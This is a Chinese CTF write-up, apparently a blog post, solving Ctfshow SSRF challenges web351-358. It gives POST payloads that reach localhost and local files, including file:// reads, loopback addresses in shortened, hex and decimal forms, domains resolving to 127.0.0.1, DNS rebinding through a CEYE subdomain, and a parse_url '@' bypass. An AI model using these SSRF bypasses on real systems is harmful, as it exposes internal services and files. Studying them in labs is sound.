• 【Web】Ctfshow SSRF刷题记录1


    核心代码解读

    1. $url=$_POST['url'];
    2. $ch=curl_init($url);
    3. curl_setopt($ch, CURLOPT_HEADER, 0);
    4. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    5. $result=curl_exec($ch);
    6. curl_close($ch);
    7. ?>

        curl_init():初始curl会话
        curl_setopt():会话设置
        curl_exec():执行curl会话,获取内容
        curl_close():会话关闭
     

    ①web351

    post:

    url=http://127.0.0.1/flag.php

    或者

    url=file:///var/www/html/flag.php

    查看源码

     

    ②web352-353

     

    前置知识:

    127.1会被解析成127.0.0.1,也就意味着为零可缺省
    在Linux中,0也会被解析成127.0.0.1
    127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost
    ip地址还可以通过表示成其他进制的形式访问,IP地址二进制、十进制、十六进制互换

    post:

    url=http://0/flag.php

    url=http://127.1/flag.php 

    url=http://0x7f.0.0.1/flag.php

    url=http://0x7F000001/flag.php

    ③web354

    一些公共域名,但是解析到127.0.0.1 

    post:

     url=http://ecd.tencent.com/flag.php

    (当我们访问域名时会把我们引入设置的A记录,这里就是127.0.0.1,感觉就像给域名重起了个名字)

    ⑤web355-356

     

     

    也就是长度限制

    post:

    url=http://0/flag.php

    ⑥web357

    FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP
    FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP
    FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
    FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。
     

     因为代码中使用了 gethostbyname 获取了真实 IP 地址,所以域名指向方法不能再使用,可以使用 302 跳转方法 和 dns rebinding 方法。

    DNS rebinding(DNS重新绑定攻击

    攻击重点在于DNS服务能够在两次DNS查询中返回不同的IP地址,第一次是真正的IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略。
     

    回到题目,在题目代码中一共对域名进行了两次请求,第一次是 gethostbyname 方法,第二次则是 file_get_contents 文件读取,可以通过 DNS重绑定 来实现攻击。

    去CEYE 注册账号,在个人信息页面,点击下面的+ New DNS,添加127.0.0.1和124.222.136.33(随便一个可用的ip)。

    翻阅ceye的DNS Rebinding页面的介绍,有这么一句话:

        If your identifier is abcdef.ceye.io, then your DNS rebinding host is r.abcdef.ceye.io.

    所以要使用DNS重定向,我们要在域名前面加上r.

    多试几次即可(每次都是随机返回一个设置的IP,所以可能大概率碰运气)

     

    ⑦web358

    正则,必须要以http://ctf.开头,以show结尾

    parse_url()解析到邮箱时:@前是user

    file_get_contents()会访问host:port/path,与user无关

    post:

    url=http://ctf.@127.0.0.1/flag.php#show

    还有两题后续专门总结

     

  • 相关阅读:
    自己动手写RTOS:02-在M3内核上实现pendsvc
    Gmail 将停止支持基本 HTML 视图
    《构建专属私域商城,微三云助力企业开启数字化转型!》
    剑指 Offer II 031. 最近最少使用缓存
    HTTP服务器
    MySQL 慢查询日志 使用方法浅析 日志定位与优化技巧
    武汉凯迪正大KDHG-220P互感器综合测试仪
    什么是入侵检测系统?有哪些分类?
    2022年最新安徽建筑施工信号工(建筑特种作业)考试真题题库及答案
    2022年互联网网络爬虫框架TOP10分析
  • 原文地址:https://blog.csdn.net/uuzeray/article/details/134485308